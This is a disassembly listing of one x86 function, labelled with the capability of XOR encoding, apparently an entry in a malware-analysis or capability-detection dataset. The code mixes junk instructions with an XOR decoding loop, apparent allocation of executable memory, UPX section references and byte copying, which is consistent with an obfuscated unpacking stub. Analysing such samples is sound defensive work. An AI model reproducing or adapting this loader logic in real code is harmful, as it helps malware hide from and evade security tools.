Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xa29d761d
add eax, edx
add edx, eax
add eax, 0xeda81326
popal
inc eax
mov edx, 0x32e314
mov edi, 0
mov edx, ebx
inc eax
not eax
sub ecx, 0x7f8b083b
mov esi, edx
or ecx, eax
inc ecx
mov ebx, esi
sub eax, ecx
add eax, 1
and ecx, ecx
add edi, 1
mov eax, ecx
not ecx
inc ecx
cmp edi, 0x100c453
jne 0xa789c8
mov ecx, 0xa7113381
dec eax
add eax, eax
dec edx
dec edx
mov ecx, 0xa78796
or edi, esi
mov edi, ebx
mov esi, ebx
mov eax, 0xa7898a
sub esi, 0x6fdd0026
add ebx, 1
mov edx, dword [ecx]
add esi, edi
or edi, edi
and edx, 0xff
add ebx, 1
mov ebx, edi
mov edi, 0x17d2b3ae
xor dword [eax], edx
mov edi, 0x7a8f96da
or ebx, ebx
not edi
inc eax
sub edi, 1
mov edi, 0xbb4195ea
sub ebx, 0x76ebe960
inc ecx
add esi, 0x5f24fb93
mov ebx, 0xa9de88ef
mov edi, 0xac3d543b
cmp eax, entry0
jl 0xa78a21
add ebx, 0x5175d169
or ebx, esi
add esi, 1
or edi, edi
sub ebx, 0x588dd842
dec esi
or esi, ecx
sub edi, ecx
mov edx, 0xa7898e
or esi, ebx
sub ecx, 0xef971141
mov edx, dword [edx]
or ecx, ebx
not ebx
dec ecx
mov edx, dword [edx]
and edi, ebx
dec esi
push edx
sub ebx, edi
sub edi, 0x6097ac92
mov edx, 0xa7898a
mov edi, 0x6dea99d
and edi, ebx
mov edx, dword [edx]
add edi, edi
sub esi, 0xcc3a7cc0
inc edi
mov edx, dword [edx]
sub ecx, 0xaea48c1
mov ebx, 0x2c74a937
mov esi, edi
push 0xa78992
add ecx, 0xb72b315a
add ecx, 0x8a8ba107
call edx
mov esi, edi
sub ebx, edi
pop edx
mov ecx, ebx
add edi, ebx
add esi, esi
push 0xa7899f
add ebx, 0xdb99909c
add ecx, esi
dec ebx
push eax
or edi, esi
sub ecx, 0xef9affd8
mov ecx, edi
call edx
or ebx, ecx
mov esi, edi
sub esp, 4
mov dword [esp], 0x40
sub esi, 1
mov ecx, ebx
push 0x3000
and esi, ebx
and ebx, esi
dec esi
push 0x20000c04
inc ecx
add ecx, 1
or esi, edi
sub esp, 4
mov dword [esp], 0
sub edi, 0x8f943882
add ecx, 0x85c540ee
or ebx, ecx
call eax
and edi, ecx
not ebx
mov ecx, esi
add eax, 0x20000b69
add ebx, 0x7dda73e2
dec edi
mov edx, 0x75f8b528
or ebx, edi
not edi
sub ebx, 1
mov dword [eax], edx
sub ebx, 0xcb0df8ef
sub esi, edi
mov edi, esi
mov edx, dword [eax]
or ecx, ecx
sub ecx, ebx
mov edi, esi
cmp edx, 0x75f8b528
je 0xa78b9d
mov ecx, 0
mov eax, dword [ecx]
mov ecx, ebx
or edi, esi
not edi
add esi, 0x1090818a
inc edi
add esi, 0x40af4fe2
not eax
not edx
add eax, 0xf9d67e7a
mov ebx, section.UPX1
mov edx, 0x32a01386
mov eax, 0x5176f559
mov edx, 0x72f1caae
mov edi, 0xa78795
mov eax, edx
and edx, eax
inc eax
mov esi, 0
or eax, edx
or eax, eax
mov ecx, 0xa78796
not eax
and eax, eax
mov eax, edx
lea ecx, [ecx + esi]
or eax, eax
not edx
mov ecx, dword [ecx]
mov eax, 0xf3f4908e
or eax, eax
and ecx, 0xff
sub eax, edx
sub eax, 1
mov eax, 0x256c54d1
inc esi
mov edx, eax
dec eax
or eax, eax
cmp esi, 0x1f4
jne 0xa78c22
mov esi, 0
sub edx, 0xbd064d5e
not edx
and eax, eax
sub edx, 0x6c8aa133
xor dword [ebx], ecx
add eax, 0x7236ab4d
not eax
add edx, 0xbc9bbd42
add ebx, 2
add edx, 1
sub edx, 0xbe2a2110
cmp ebx, edi
jl 0xa78be1
add eax, 0xa58ec09b
or edx, eax
not edx
and eax, edx
dec edx
not edx
mov ecx, section.UPX1
sub eax, esi
or eax, esi
mov edx, section.UPX1
or esi, eax
dec eax
mov edi, 0xa78795
or eax, esi
sub esi, eax
mov esi, 0xf4f1081d
mov ebx, 0
and eax, esi
mov esi, 0x8ea6f675
add eax, eax
mov bl, byte [edx]
and eax, esi
and eax, esi
mov byte [ecx], bl
mov esi, eax
sub esi, eax
sub esi, 0xadddd85
add ecx, 1
mov esi, eax
or eax, eax
dec eax
add edx, 2
mov eax, esi
not eax
and eax, eax
cmp edx, edi
jle 0xa78c98
mov eax, esi
sub esi, 0xa7de4d03
mov eax, 0xc13c5af0
or eax, eax
inc edx
add eax, eax
push 0x8dc6a0
add eax, eax
mov eax, edx
ret